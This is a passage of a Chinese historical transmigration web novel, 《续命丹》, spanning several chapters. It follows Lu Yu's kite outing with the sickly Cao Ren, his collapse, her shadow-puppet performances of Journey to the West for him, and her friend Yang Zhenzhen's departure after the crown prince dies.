“许是女公子的方法不对?”江澈走近陆萸,然后席地坐在一旁道。 那日雨中他在马车外已将陆萸的计划听得一清二楚,当时就觉得那计划不够完善,吃吃喝喝却没有实质性的东西肯定不能推进感情。 陆萸有些狐疑的看着江澈,莫非此人还是情场高手?想给自己传授秘籍?思及此,她一脸期待的看着他。 江澈先是看了眼曹壬,未见他阻拦,才接着道:“女公子去年做的那些已让朱郎君记住了您,但这远远不够,想必他早已见惯了女子的殷勤,所以您得再让他加深记忆。” “这太难了,我又不是他肚子里的蛔虫”陆萸摇摇头的回。 “凡太容易得到的,世人皆不会珍惜,但要是有了竞争者,哪怕他未必有心去争,也能加深对您的认识。” 江澈一番话出口,陆萸直呼高明呀,这纯属于心理战术,看来男人看男人就是更透彻一些。 她手指轻叩书案,思忖一番后道:“那得找个比他优秀的郎君才行,只是这样的人找到了也未必愿意陪我做戏呀。” 江澈未立马回答,木槿却觉得此法总有些不妥,但具体哪里不妥她又说不上来。 “君期觉得此法可行吗?”陆萸拿不定主意,看着曹壬问。 说实话,于一个对儿女情长不曾开窍的曹壬来说,还真答不上这个问题,但见小友一脸纠结苦恼的看着自己,他唯有认真思考一番。 沉思中的曹壬比以往多了一份威严,陆萸脑中一亮,兴奋道:“我何必舍近求远呢?比朱慎优秀的男子不就在眼前么?” 她看着曹壬,一双眼睛熠熠生辉,明亮得仿若装满星河,闪烁着晶莹的光芒,瞳中透出的坚定好似她在看一样世界上最最美好的事物。 这样的注视让曹壬心中一怔,想不到她对自己的评价竟然这般高。 他还在怔忡,陆萸却立马凑到他一旁坐好,问:“君期可愿帮我?” 许是那双眼睛太吸引人,曹壬还没回过神便已轻轻点点头。 “太好了,过几日阿兄要约世子和翁主去郊外放纸鹞,届时我让次兄约朱慎,你也一同随行可好?” 纸鹞就是后世的风筝,北方叫纸鸢,南方叫纸鹞。 陆萸是个行动派,既然已有方案,改日不如撞日,试探一下朱慎的态度,若实在不行,换个人就是了。 木槿愈发为这个方案纠结,一副欲言又止的样子,可惜苦于自己笨不知道如何劝说。 相比江澈的八卦和冲动,方言则稳重的多,他沉声问:“不知女公子可是真心心悦朱郎君?” “阿?” 这问题,真把陆萸问住了,她前世虽活了三十年但因为一直自卑,没敢谈恋爱呀,情窦初开、爱的死去活来、天崩地裂的那种感情只在言情小说中见过,她甚至都没认真看过几部纯言情的小说。 “女公子可是真的非他不嫁?”方言接着问。 陆萸答不上来,愣了好一会才道:“倒也不是非他不嫁。” 江澈猜到方言接下来要 18. 第十八章 少年模样 《续命丹》全本免费阅读 陆弘一句“可知阿萸在谋划什么”,让曹壬心中一惊,他知陆萸不想让家里人知道,于是假装疑惑道:“俸卿何意?” “去年一整年,阿萸时不时去马场,既送小食又送茶叶,也只有我那弟弟太单纯看不出来”陆弘无奈道。 曹壬有感于好友如此敏锐,又愧于自己刚刚撒谎,尴尬无措下尽力按捺,调转视线看着远处逃避好友的追问。 “我早就猜到阿萸所谋为何,只是唯独没想到你竟也跟着参与。” “我”曹壬刚想说他并未参与,但见好友看穿一切的眼神,只得改口:“朱郎君少年才俊,配得起阿萸。” 陆弘闻之,长叹一声,道:“此人,不适合阿萸。” 至于为何不适合,他没有继续解释,他比今日在场的郎君都年长,自幼跟着祖父游历,他走过的路和见识的人与事比他们都多。 虽然他私心觉得妹妹是优秀的女郎,但朱氏百年门阀,岂会给予厚望的嫡子迎娶庶女? 妹妹的性子,他比所有人都看得透,她看似乖巧懂事、胆小木讷,实际骨子里意志坚定,还特别怕麻烦,若嫁与朱慎,单是朱氏门阀内那些复杂的人际关系就够她烦一辈子了。 曹壬听陆萸说过她只是不想被家族安排与一个素未谋面的人订婚,所以便想到了朱慎,他的确是出色的儿郎。 如今听陆弘之言,却一时不知该如何回答,魏氏毕竟是好友的生母,他不能用阿萸的原话“我想先下手为强”那个理由来解释,于是只有继续尴尬的沉默。 过了一会,看着眼前忙着放纸鹞的弟弟妹妹们,陆弘好似松了一口气,笑道:“过了今日,阿萸就该死心了。” 曹壬不解的看着陆弘,见他无继续解释之意,于是顺着好友的目光看向朱慎。 今日的朱慎,浅蓝色交领长衫,长身玉立,挺拔的身姿,怎么看怎么出色。 曹壬依然觉得只有朱慎配的起小友,他们皆是看起来很健康的人呀。 陆萸将纸鹞抛起并快速甩动线,很快纸鹞便越飞越高了,接下来,她根据风速和风向微微调整纸鹞的角度,让它飞的更稳定一些。 此时陆纯的纸鹞刚起飞,陆婠和世子边理线,边聊着天,而曹姒正低着头和朱慎请教着放纸鹞的技巧,朱琳在一旁看着。 想不到隔了一年,陆萸依然是最快将纸鹞送上天的人。 她兴奋的喊:“君期,看到了吗,我的纸鹞飞起来了。” 她边喊着,边笑着向曹壬跑去,手中稳稳握住纸鹞的线,时不时调整着方向,待到曹壬跟前,将把手递给曹壬,道:“你也试试,我去放另外一只。” 一旁的江澈接过曹壬手中的铜炉,曹壬便小心接过陆萸手中的纸鹞,这是一个新奇的体验,纸鹞在天空中翻飞,如同轻盈又自由的小鸟,忽上忽下的,像在和春风嬉戏玩耍。 又一直纸鹞飞上天,陆萸再次欢呼起来,高兴地拉着线向曹壬跑了过来。 曹壬手中的线轻轻晃动着,目光追随着陆萸,春日的阳光下欢呼着的女孩,这样的神态,这样的快步走向他,直叫他觉得仿佛这世间所有的美好皆在奔向他。 许是陆萸的喜悦之情太洋溢,大家不约而同地看了过来。 朱慎想起那日她说喜欢自由的感觉,那这一刻翱翔天际的纸鹞是否也带着她的自由一起飞翔? 朱琳问曹姒:“阿萸妹妹和你长兄很熟吗?” 曹姒莫名不喜欢陆萸,便不想说长兄把陆萸当小友,只笑道:“陆家郎君常带她和两位阿兄玩,毕竟我两家有婚约,所以也算熟。” 朱琳向来敏感,她看出曹姒没有说真话,明眼人都看得出曹壬看陆萸的眼神很有温度,陆萸待曹壬也很亲昵。 曹姒接着道:“别愣着了,你快让你阿兄教我将纸鹞放到天上呀!” 好友催促,朱琳忙问朱慎:“阿兄可是许久不玩,忘记怎么放纸鹞了?” 朱慎尴尬一笑,再次把曹姒的纸鹞抛起来,这次,终于成功了。 曹姒高兴地在朱慎身边欢呼道:“多谢叔重,快将线给我,我也试试。” 她身体挨得太近,朱慎有意避开,又担心纸鹞的线刮伤她的手,只得小心将把手递给她,再悄悄拉开一点距离。 曹姒却好似未觉,又凑了过来,嘴上说着:“叔重快帮我,我的纸鹞好像要掉了。” 朱慎无奈,唯有接过线,继续帮曹姒调整方向,看来他今天是放不成自己的纸鹞了。 心中一叹,见一旁看好戏的妹妹,眼中多了只有妹妹能看懂的不悦和不耐烦。 朱琳见状,忙掩饰的拿起纸鹞找侍女去了。 陆萸的喜悦感染了曹壬,让他忘却了一直未能痊愈的旧疾,也忘了所有那些压在心底说不清道不明的抑郁之情。 这次旧疾复发后延续时间比以往几次都久,且病情也更重了。 许是离当年医仙预测的二十岁寿限越来越近,夜间的咳嗽愈发止不住,导致他常常睡不安稳,第二天精神也恹恹。 如今看着纸鹞越飞越远,心底的抑郁好似也跟着飞远了,他的脚步不经意间随着陆萸的奔跑变得轻快起来。 身后抱着手炉的江澈看着远处的少主,激动的对身旁的方言道:“我就知道这主意准没错。” 方言听了,也未置一词,只久久的凝视着远处陌生又熟悉的少主。 那是他从未在少主身上见过的松快和喜悦,这才是这个年龄该有的鲜活,也是老王妃一直想要看到的。 那些在背后议论少主少年老成、死气沉沉甚至虚弱不堪的人,若能看到如今的少主,也会为承认自己的偏见吧? 不知不觉间,陆萸不记得已跑了多少圈,春日的风伴随着暖暖的阳光合着她的笑声明媚如枝头的海棠花。 这是她穿越至今笑得最放松最发自内心的一次,这一刻她忘却了和这个世界格格不入,忘记了森严的等级制度下那些未知的命运。 而曹壬也忘了时间忘了病情,也忘了祖母曾一次次在耳畔叮嘱他不可大喜大悲。 他的小友用真诚一点点打动着他,让他开始学会接纳自己的不完美。 奈何早春实在太冷,加之体力不支,没跑多久,他的咳嗽便再也止不住了。 刚开始,他极力忍住咳意,可忍耐不但没有缓解反而让身体愈发难受,在忍无可忍之时连环咳嗽甚至让他只觉头晕眼花。 陆萸以为曹壬像之前一样咳几声就好了,可这次却一直没能停下,甚至发现他连手中的纸鹞都未能握紧。 曹壬在身体拉致极限而倒下的那一刻看到了那个女孩正带着惊恐的眼神奔向自己。 那双眼睛依然满满都是自己,不同的是此刻满含泪水,他多想和她说“阿萸莫怕”,动了动嘴唇却已发不出声直至进入黑暗。 最先接住曹壬的是江澈,他迅速将曹壬抱起后一脸严肃地直奔马车,方言也紧跟其后。 突如其来的变故是大家始料未及的,在场少年男女都赶了过来。 江澈和方言行动有素,一切忙而不乱,仿若已经经历过许多次这种变故。 陆萸紧紧追在江澈身后,颤抖着声音问,“君期怎么了?他吃了药能马上醒来吗?” 她问着,眼眶发红。 陆弘见妹妹情绪激动,忙道:“你先别急,让君期先休息一下。” 陆萸耳中却听不进劝,她方才明明看到了那么明媚的少年,那一直是她想象中他该有的模样,可怎么才一瞬间,他就有如秋叶一般飘落了呢? 想到她出这个馊主意时候方言的反对,她猛的拉住方言的袖子,呐呐道:“你早就知道对吗?” 方言见陆萸眼中的自责和关切不作假,原有些许怨言也没了,只安抚道:“少主只是救疾复发,女公子无须自责。” < 19. 第十九章 家人 《续命丹》全本免费阅读 大魏有两位医仙,一个是出身北方的徐医仙,一个是南方的葛医仙。 老王妃出身清河崔氏,因为还一份人情,徐医仙常年替曹壬看病,今年初见曹壬病情好转,他留下丹药以后回北方云游去了,如今没人知道他在哪里。 见老王妃不停向门口张望,顾氏安慰道“阿壬可能是累到了,休息一下就该醒来了,母妃莫言太过忧心。” 顾氏未开口时,老王妃没来得及生气,如今怒道:“你教的一双好儿女,兄长生死不明他们竟然还有心情踏春?” 顾氏早已习惯了老王爷夫妇偏心长子,心底虽不悦,却忍着性子请罪“母妃息怒,他们回来了我会严厉教导他们的。” 老王妃心中有气,不想多说,见方言带着一名医者和朱家老夫人进来了,忙起身相迎。 世家大族皆有自己的名医,虽比不上两位医仙名声在外,但医术依然了得,顾氏也有这样的医者,可惜顾氏和陆氏一样,家中长者皆不在建业,医者自然也未在。 想到朱老夫人常年在建业礼佛,老王妃就拿出名帖让方言去朱家借医者,不曾想朱老夫人竟亲自登门。 老王妃忙迎上去道:“为了我这不争气的孙子,还得劳烦姐姐亲自上门,当真罪过。” 朱老夫人比老王妃年长几岁,在建业城中甚至整个江东都甚有威望,她母家是北方望族博陵崔氏,也是首位开了南北士族通婚联姻先河的女子。 同为崔氏女又都来自北方,老王妃向来和朱老夫人交好。 朱老夫人没和老王妃客套,只走近曹壬床边,细细看过他后,安慰道:“妹妹关心孙子我能理解,别说什么罪过不罪过的,先看诊要紧。” 朱家的医者得令后,未作犹豫,立马上前把脉,然后打开随身携带的药箱,拿出银针扎了起来。 朱氏医者扎针技术精湛江东无人不知,如今见他迅速扎完针后,曹壬竟悠悠转醒。 老王妃激动得连连双手合十道:“阿弥陀佛,佛祖保佑,总算醒了,君期可还有哪里不适的?” 曹壬醒来后,想起晕倒前小友好像哭了,迅速环顾了一眼,沙哑着回,“让祖母和母妃担心了,我如今尚好。” 大家这才松了一口气,医者交代道:“公子只是累了,休息一下便能恢复,至于旧疾,恕某医术不精,还是等医仙回来再让他诊治吧。” 老王妃连连感谢朱氏医者,皆被他辞了,朱老夫人反而劝慰道:“让君期先休息吧,好在有惊无险,你也先休息一下吧,我过几日再来。” 老王妃忙回:“岂能让姐姐再劳累,待孙儿好了,我亲自带他去府上拜访您。” 朱老夫人也未再客套,带着医者就走了。 不多时,听下人报陆氏太守夫人拜访,老王妃又打起精神和魏氏寒暄一番才把魏氏留给顾王妃接待,自己休息去了。 陆弘和陆萸着急见到曹壬,和两位王妃问过安后直奔曹壬的院子。 才一进屋,陆萸便见到曹壬脸色惨白如纸,她心中咯噔一下,急切走至床前,见他醒着,心底这才一松。 陆萸跪坐在床前,忍不住红着眼眶道:“下次你一定要提前告诉我。” 曹壬虚弱一笑,回道,“这次让你们担心了,没有下次了。” 陆弘见好友身体如此虚弱,却还强打精神安慰妹妹,忙道,“既然已经醒了,就先好好休息吧,我们改日再来。” 曹壬实在没有力气说话,只笑着点了点头,眼中满是安抚的看着陆萸。 陆萸也不是矫情的人,知道来日方长,立马转忧为喜道:“我给你准备了一份惊喜,过些日子材料齐全了,我就来看你。” 闻言,曹壬轻轻点了点头,小友眼中的光彩又回来了,真好。 曹壬再次入睡,方言送陆氏兄妹出来,顺道说起了曹壬的旧疾。 前任南安王妃性格刚烈,非要带着刚满月的曹壬和离归家,老王爷夫妇再三挽留皆未果。 因那时候曹壬太小,受不了一路北上奔波,从而导致体弱多病,后来在曹壬六岁那年冬天不慎落水感染风寒后,落下了病根,至此常年缠绵病榻,一到冬春季节旧疾就会复发。 曹壬八岁那年,徐医仙甚至断言他这样的体魄可能活不过二十岁,也是他八岁那年,曹善被立为世子。 本来这些都是王府的秘密,但方言想到陆氏兄妹皆是少主的好友,又怕以后还出今日这般状况,方言终究把秘密告诉了二人。 “祖母在建初寺给我点了长明灯,待满二十岁加冠,我会去还愿皈依佛门。” 这是当初曹壬告诉陆萸的心愿,原来这个二十岁还有这层意思,她一直以为好友是想在行冠礼后出家。 兄妹二人听了方言一番话,久久未能言语,甚至都没和方言作别就浑浑噩噩的上了马车。 魏氏早已候在车内,见长子没有骑马跟了上来,向来稳重的他今日竟然如此奇怪,忍不住问:“不是说休息一下就能恢复吗?难道病情又反复了?” 陆弘摇了摇头,长长的吐了一口气,似要将心底的愤懑吐干净,然后低沉着声音和魏氏说了方才方言的一番话。 陆萸从王府出来后一直魂不守舍,她一遍遍回想着和曹壬相处的时光,只差一点点,他就能成为一个既阳光又朝气蓬勃的少年,明明只差一点了,现实却将一切狠狠打碎。 如今再看她那未知的将来,与命不久矣的曹壬相比,简直什么都不是。 那个少年将在最美的年华凋零,没有什么比这更让人惋惜的了。 魏氏听了长子的转述,也是心底止不住惋惜,那少年,当真可惜了。 知长子与曹壬相见恨晚的友谊,她安慰道:“人各有命,他还在苦苦抗争,你们怎能比他更先放弃呢?与其沉迷悲痛,不如从现在起好好珍惜当下。” 长子低着头未回话,魏氏又道:“不是二十岁吗?现在还有两年,说不定这两年徐医仙医术精进,他的病就能痊愈了呢?” 听此一言,兄妹俩不约而同抬首对视,确实是这样呀!瞬间,二人仿佛恢复了过来,都在心底盘算起该如何珍惜当下。 陆弘想起他新学的竖笛曲子《春雪》还未和好友分享,回去后要勤加练习,过几日好好吹奏给他听。 陆萸想起之前准备的皮影戏材料,她原想把西游记用皮影表演给曹壬看。 因为出场的妖怪比较多,材料一直未能备齐,她现下打算只表演到孙悟空大闹天宫那里,压五指山和后面的就以后慢慢准备。 而在郊外放纸鹞的众人,一直到下午才缓缓归来。 在朱氏的牛车上,朱慎以累了不想骑马为由和妹妹同乘一车,此时他正闭目养神。 此前那番变故出来后,虽然大家一如既往的放着纸鹞,但许是没了陆萸那般轻快的笑声做配,大家玩的都不是很尽兴。 朱琳甚至隐隐发觉次兄和平时不一样了,至于哪里不一样,又说不清,她小心地问:阿兄可是太累了?” 朱慎摇摇头,温声回:“稍作休息便好。” 熟悉的次兄,好似又回来了,朱琳松了一口气,自顾自聊起了今日见闻和感想。 她感叹南安王嫡长子这般优秀却没有一副好体魄,又感叹世子兄妹竟然连 20. 第二十章 抗争 《续命丹》全本免费阅读 陆萸回去后紧锣密鼓的准备着表演西游记的台词,好在她前世刷了无数次西游记,每一集的情节都记得清清楚楚,所以只准备了五日她就带着皮影戏的材料去南安王府了。 春天的风越来越暖和,行云院中的海棠花已经吐出花蕊,花朵中间衬映着透着晶莹的绿叶,显得清新、婉约。 曹壬自醒来后身体太差,一直未能下床,连续几日里,睡着的时候比醒来的时间多,但只要醒来,皆会问:“海棠花开了吗?” 方言知少主想问的不是海棠,心中难受,却只得忍住眼泪回:“快开了,明日定能开。” 一日又一日,终于在这一天下午,他的小友从那棵海棠树下款款而来。 海棠花的花蕊在阳光照耀下熠熠生辉,光华流转,却远不抵她眼中的明媚,她仿佛带着世间最美好的一切向他走来。 “君期,我今日向你分享的是我的整个童年,希望你也能喜欢”陆萸看着曹壬轻快的说道。 那是她遥远又模糊的童年,作为留守儿童的她家里没有电视机,邻居看她可怜经常邀约她去看电视。 后来知道她喜欢看《西游记》每次片头曲一出来,隔壁的大娘就扯着嗓子喊她过去。 原本孤苦无依的童年,因为有那样经典难忘的《西游记》陪伴,让她内心那片胆小怯懦的土地上生长出无数坚持向上的勇气。 哪怕前世离自己越来越远,那份看《西游记》时候的愉悦之情却不曾忘记。 在场的人可能听不懂才十岁的陆萸为何说这样的话,可曹壬却能听懂。 他一直隐约觉得她是她,却又不是她,她的整个童年吗?那该是怎样精彩的童年,才能长成这般明媚的她呢? 他已经在方言的帮助下倚靠在床头坐起来,长长的黑发披在肩头,映衬得那张脸更加惨白,眼中却满是欢喜:“只要是阿萸分享的,我都喜欢。” 曹壬太过虚弱,那样的笑和说话的气息,让陆萸觉得仿佛一碰就要碎了。 想到那日方言的话,她心中酸涩难耐,却挤出笑一一向曹壬介绍皮影戏以及带来的材料。 皮影戏又称“影子戏”,是一种以兽皮或纸板做成的人物剪影以表演故事的民间戏剧,西汉时期在北方有流传,但至这个时代,南方仍不盛行。 表演时,艺人们在白色幕布后面,一边操纵影人,一边用当地流行的曲调讲述故事,同时配以打击乐器和弦乐。 陆萸做的人物小像是用普通纸和上好的佐伯纸粘合在一起制作成纸板,然后画好裁剪下来的,而幕布则是让工匠所制,选的布也是透光性最好的细白色丝绸布。 看太阳渐渐西沉,陆萸让江澈关上门,将窗上的帘子放下,然后让木槿点上灯,在正式表演以前,主仆二人已反复训练过打灯的方式和角度。 一出完美的表演从孙悟空自石头里蹦出来那一镜头缓缓展开。 她没有乐器作配,于是用各种音色和语调交替区分角色,惟妙惟肖的复原了故事情节和人物出场场景。 没有人能抵挡得住孙悟空的魅力,在场的人聚精会神的听了起来,方言和江澈甚至连晚膳都忘了去取。 当陆萸表演到须菩提祖师在孙悟空头上敲击三下时,她看到曹壬眼中光彩熠熠,脸上却早已掩饰不住疲惫。 她心疼道:“今日就先到这里,我回去准备好材料再来。” 难得从曹壬脸上看到遗憾之情,她笑道“你先养好身体,待康复了我一日给你表演五集。” 曹壬忍不住再次咳嗽起来,咳了好一会,喝过水后,才沙哑着回:“谢谢阿萸。” 谢什么,不用说破,她懂。 不知怎么的,这样的他让陆萸忍不住想落泪,可她若无其事地摆摆手,笑道:“琴棋书画我一窍不通,只有这等不务正业供人消遣的拿得出手,君期喜欢便好。” 不待曹壬回复,她忙起身作别,她怕再待下去就真要落泪当场。 他还在苦苦抗争着,她又如何能给他增加心理负担呢? 回到马车上,她靠在车壁上想着今日看到的曹壬。 十八岁本是一个少年最好的年龄,本该像兄长们一样鲜衣怒马快意江湖,可他只能缠绵病榻之上,日日用苦涩难咽的汤药续命。 这样温暖的春天,屋外艳阳高照,他却仍然需要靠着炭火取暖。 即使炭火的温度让陆萸热的冒汗,也未能让他脸上多出哪怕一点红润。 这十多年来,他又是如何一日日这般熬过来的呢? 前世临死前对父母绝望时,她心如死灰不曾落泪; 突然来到陌生的时代言语不通时,虽心生恐惧但她不曾落泪。 如今却因这份无力感,她再也压制不住那份隐藏心底多年的不甘。 她不甘心前世一直听话懂事却换不来父母哪怕一次真心相待; 不甘心自己加班加点拼搏奋斗,然后省吃俭用攒下的钱突然化为乌有; 不甘心明明不曾做过恶事却抵不过病魔的折磨最终丧了性命; 不甘心曹壬这般美好却可能也要步自己当年的后尘。 所有的不甘心让她在这一刻想要放纵自己嚎啕大哭,可她只能隐忍着无声无息地让仿若决堤一般的泪水滑落。 过了今夜,她还是那个懂事乐观的陆萸,他还没放弃希望她断不能放弃,哪怕希望极其渺茫,她也要带着那份早已扎根心底的勇气陪着他继续与命运抗争。 曹壬的身体其实早已支撑至极限,在陆萸走后终是再次倒下,在再次入睡前他沙哑着问“你说,须菩提祖师会给悟空传授技艺吗?” 方言给他理了理被子,哽咽着回“肯定会的。” 似得到了心中的答案,曹壬终于强撑不住再次入睡。 曹壬这次一睡,醒来的时间变得更少,有时候陆萸来了他还没醒,她就安静的守在炭盆旁坐一会再走。 因着曹壬的病情加重,陆萸也没心思去跑马,原本和杨蓁蓁的约定也只能让次兄陆纯代为解释。 十五岁的陆纯与十二岁的杨蓁蓁从最开始的客气疏离慢慢变得熟稔。 杨蓁蓁原本只是来看看陆纯替她选的马,然后过几日再找陆萸练习,谁知只一眼就对棕红色的马驹喜欢的不得了。 她左左右右边摸边看,随即欢喜地翻身上马,然后未等陆纯下口令,就忍不住向前跑了起来,奈何技术不精,才跑了一段便差点从马背上摔了下来, 好在陆纯快速赶了上去稳稳将她接住。 “抱歉,我不是个听话的徒弟,让你跟着受累”双脚站定后,杨蓁蓁没有被吓到,只觉得羞愧难当。 陆纯听陆萸谈起过杨氏教育子女的方式,知道她能抽出时间来练习是多么的得来不易,所以他没有责怪她。 而是安慰道:“凡事都有第一次,当年没人接住我,让我躺了整整半个月。” “噗嗤”杨蓁蓁原本低落的心情因他笨拙的安慰方式变得轻松起来。 杨琇莹因进东宫之事与父母闹的越来越激励,后来甚至以绝食做威胁。 杨蓁蓁以为父母会因此做出退让,可他们没有,最后在姐姐饿得气若游丝时,他们让侍人强迫她吃东西。 父母竟那样粗暴又冰冷的对待自己的女儿,让在一旁看着的杨蓁蓁不寒而栗。 有匪君子,充耳琇莹,会弁如星。 < 21. 第二十一章 别离 《续命丹》全本免费阅读 安和九年,四月初八,东宫太子薨,三日内,讣告传遍整个大魏,令全国举哀一个月。 太子薨,天下尽哀之,朝廷上下人心浮动之。 薨逝的太子名曹行,是当今圣上继位后的第二个太子。 第一个太子是中宫皇后杨氏所生,在其刚满六岁被立为太子后的第三年病逝,此后宫中一直未有皇子出生。 因当今圣上是原清河王世子,大臣们于是提议再从清河王府中过继一位天资聪慧的公子为太子。 经多轮考核后,终于选中了清河王第四子曹行为太子,可惜,才短短七年,太子竟突然薨逝。 太子薨逝前东宫仅萧氏良娣育有一女,朝中再次为选何人为太子犯难。 如今的清河王府虽有年龄合适的公子,却都是之前挑剩下的,实在难堪大任。 太子薨逝,于陆萸这样的小人物而言,没有太多值得关注的地方,她现在满脑子想的是如何才能让曹壬在养病的时候过的开心一些。 这日下午,陆萸从南安王府归来,回家的心情一如既往的沉重,只因今日的曹壬还是醒的时间很短,二人都没怎么说话。 刚至门口,银杏报杨蓁蓁已在芝兰院等候一个多时辰,陆萸忙整理好情绪匆匆入内。 芝兰院中,满院的紫藤,茎蔓蜿蜒攀曲,花繁叶稀,淡紫色的花一串一串,仿佛一只只紫蝶连缀,藤蔓披垂,摇曳生姿。 杨蓁蓁立在紫藤架下,看着陆萸道:“我此番是来和你告别的。” 太子薨逝,作为太子妃的娘家人,必须即刻赶回洛阳奔丧。 “何时归来?”陆萸走近她问。 “此番一别估计不会再回江东了”杨蓁蓁说着,眼眶中泪水打转。 父母已经在为她和姐姐挑选夫婿,一旦定亲后就要留在洛阳学习礼仪直至出嫁。 她的母亲素来看不起南方的人文环境,觉得女子出嫁前有北方文化环境熏陶教养,嫁入夫家后才更能得到夫家的尊敬和重视。 她是陆萸在这个时代的第一个女性朋友,虽然自己大部分时间都是在倾听,但杨蓁蓁待自己是真诚的,乍然听闻此番可能是永别,说心里不难受是假。 只是她向来冷静惯了,所以只是走上前轻轻抱住她,道:“若是有什么苦闷,可传信给我。” 杨蓁蓁的眼泪在陆萸身后滑落,她哽咽着开口:“你不许忘了我。” “好,我此生绝不忘了杨蓁蓁。” “收到信要及时回复!” “一定及时回复!” 得到回复,杨蓁蓁感受到陆萸向哄孩子一样轻拍自己的背,松开手退出怀抱,破涕为笑道:“罢了,看来只有我一人难过。” “哪有,我只是不善表达罢了”陆萸觉得很冤,即便真是哭哭啼啼、泪散千行,又改变不了即将分别的事实。 擦掉眼泪,杨蓁蓁将一个黑色缎面绣有雄鹰的荷包递给陆萸,道:“替我转交你二兄,就说我祝愿他早日实现理想。” 荷包?女孩子送男孩子荷包,好友难道不知是为何意? 陆萸满脑子问号,看好友的眼神也充满疑惑? 对于从未体验过情窦初开是何滋味的她来说,这也太突然了,她有种被好友和兄长欺骗的感觉。 “敢情你落了半天眼泪是为别人,不是为我呀”陆萸瞪着眼感叹道。 杨蓁蓁闻言,气急反笑:“你都不问一下就这般想我?” 陆萸一副你让我如何想的表情看着杨蓁蓁。 杨蓁蓁无奈解释:“托你的福,我有幸遇到好老师,如今也学有所成,这只是谢礼而已。” 谢师礼送荷包?陆萸有些不相信,但想到自己二兄那傻哈哈的性格,便收下了荷包,想了一下,又道:“若二兄不收,我该如何?” 替别人送东西,她还真怕对方拒收。 闻言,杨蓁蓁顿了一下,苦笑道:“他若不收,你就销毁吧,我送出去的东西从没有收回的。” 有了这段插曲,离别的沉重氛围变淡了少许。 在夕阳余晖下,杨蓁蓁走了,留下陆萸独自一人拿着荷包立在紫藤架下满怀惆怅,这个时代交通不便,此次一别恐无再见之期。 看着小小的荷包,陆萸只觉有如千斤之重,心里想着兄长若能收下,好友当是高兴的,又想到这谢礼有点暧昧,担心兄长受情伤。 在一夜矛盾纠结辗转难眠后,陆萸起了个大早,带着黑眼圈去找陆纯。 当她和陆纯说明情况,并将荷包递出去的时候,陆纯对荷包看都未看一眼,只淡淡道:“举手之劳不足挂齿,你还给她吧。” 陆萸伸出去的手尴尬的举在空中,口中想问些什么,但想到杨蓁蓁即将回北方,一切皆是徒劳,颓然的收回了荷包。 见妹妹情绪低落,陆纯道:“以后这样的东西你莫要胡乱答应替别人转交。” 那是她的好友,哪里是别人,陆萸有些不悦的看着二兄。 陆纯轻叹一声,揉揉妹妹的头顶道:“都说我傻,我看你才是真傻。” 言毕,不等陆萸反击,边笑着边道:“我约了叔重赛马,你自便。” 头上的双丫髻都被二兄揉乱了,陆萸不高兴的在后面喊道:“你骂我傻,我要找大兄告状去。” 陆纯听了,只大笑着扬长而去,他又不是小孩,早就不怕大兄了。 杨蓁蓁是清晨离开建业城的,雾气笼罩着整个水运码头,她走上甲板最后一次回望建业城,想起了那个神采飞扬的少年郎,他如今可能又在郊外跑马吧。 十几年来她一直循规蹈矩,学骑马是她第一次突破母亲定下的规则,而送荷包是第二次,也可能是她最后一次勇敢做自己想做的事。 他想要像苍鹰一样翱翔于茫茫天地间,他们本就不是一路人。 她内心那些隐秘而不为人知的情感,还未来得及开始,便已不可与人诉说,所以她唯有选择这样的方式送出这份独特的谢礼。 他若能懂是她的幸,若不懂,便让这一切随晨间茫茫雾气一同消散吧。 时间悄然流逝,初夏时节,行云院中的海棠花开的越来越美。 无人会得东风意,春色都交付海棠。 海棠花一朵朵挤在一起,引来了蝴蝶和蜜蜂,让安静的行云院迎来了这个时节独有的热闹。 这期间,曹壬终于等来了徐医仙让人从北方送来的药,白日里清醒的时间渐渐多了起来。 谢洐因陆萸许久未去华彩阁,打听一番后亲自到南安王府探望曹壬。 甫一进院子,他也被满树的海棠花吸引,来不及多做观赏,他跟着江澈进了内室。 眼前的少年仅一眼,就让他一惊,他还记得两年前初见少年时的模样,芝兰玉树、灼灼风华,可如今的少年郎除了那双眼睛不变,脸上肤色惨白如纸,骨瘦行销,手腕细得连挂 22. 第二十二章 取舍 《续命丹》全本免费阅读 陆萸的最后一场演出是孙悟空大闹天宫,她没有表演如来佛祖到天宫救场然后将孙悟空压在五指山下。 而是改成了孙悟空大闹天宫后,得到天帝及天宫众仙的赔礼道歉,然后他心满意足地回到了花果山继续做他的齐天大圣,从此过上了无忧无虑的生活。 “故事就这般落幕了?”谢洐意犹未尽的问。 “全剧终”陆萸边收拾道具边答。 “这可不像你以往讲故事的风格”谢洐仍有些不信。 陆萸手上动作没停,笑问:“皆大欢喜的结局不是更好吗?” 是呀,世人皆希望皆大欢喜,可皆大欢喜的结局反而让人觉得不真实。 谢洐看着虽靠在床头却已经比前阵稍有好转的曹壬,问:“君期可否想过向陛下上书请辞,毕竟你的身体不适合长途奔波,若你想请辞,我可修书给太后。” 谢洐是当今太后的侄孙,幼时养在太后膝下,若曹壬请辞,有太后从中转圜一二,当今圣上不会不允。 可曹壬拒绝了,他笑道:“您的好意我心领了,只是洛阳白马寺明年将举行一场佛事盛会,我对此向往已久,所以想随俸卿一同去洛阳。” 陆萸想说可以等身体康复再去,可想到他对佛法的痴迷,只笑着鼓励:“那你得在出发前尽快养好身体才是。” 谢洐也担心曹壬的身体吃不消,不过信仰的力量不可估量,他也未再劝说。 见陆萸已收好皮影道具,他笑问:“好久没收到图纸了,小九难道才思枯竭了?” 这一瞬,陆萸觉得他和后世催着出图纸的老板很像,于是不悦的从另外一个袋子中翻出一张纸后,递给谢洐道:“整天忙着准备皮影戏,只出得这一张,你凑合着用吧。” 这次陆萸设计的是一对手镯,大拇指粗的镯子上绘有栩栩如生的莲花,取名“一世安” 。 “这名字不错,一世安”谢洐看过大赞,然后将图纸递给曹壬,道:“你看看,如何?” 曹壬细细看着,先是赞了声“甚好”,然后手指轻轻摩挲着莲花,抬眸看着陆萸问:“不知阿萸这次的故事是否与佛寺有关。” 世人皆爱莲,画莲者无数,所画之莲千百十种,但大多沾有生活的气息。 陆萸画的莲却像是照着庙宇中的莲花图案所绘,透着一股无欲无求缥缈空灵之美。 “这你也能看出?”谢洐有些不信的再次拿过图纸。 经曹壬提点,他也看出了不同,于是笑道:“君期参佛多年,果真有慧根。” 陆萸原打算今日离开南安王府后和谢洐一起去华彩阁,届时再把图纸给他。 她不想将这次设计图背后的故事讲给曹壬听,因故事太伤感,而且还担心曹壬觉得她对佛祖不敬。 只是他刚刚提起了白马寺,想到他即将奔赴洛阳,于是思索一番后,她将故事娓娓道来。 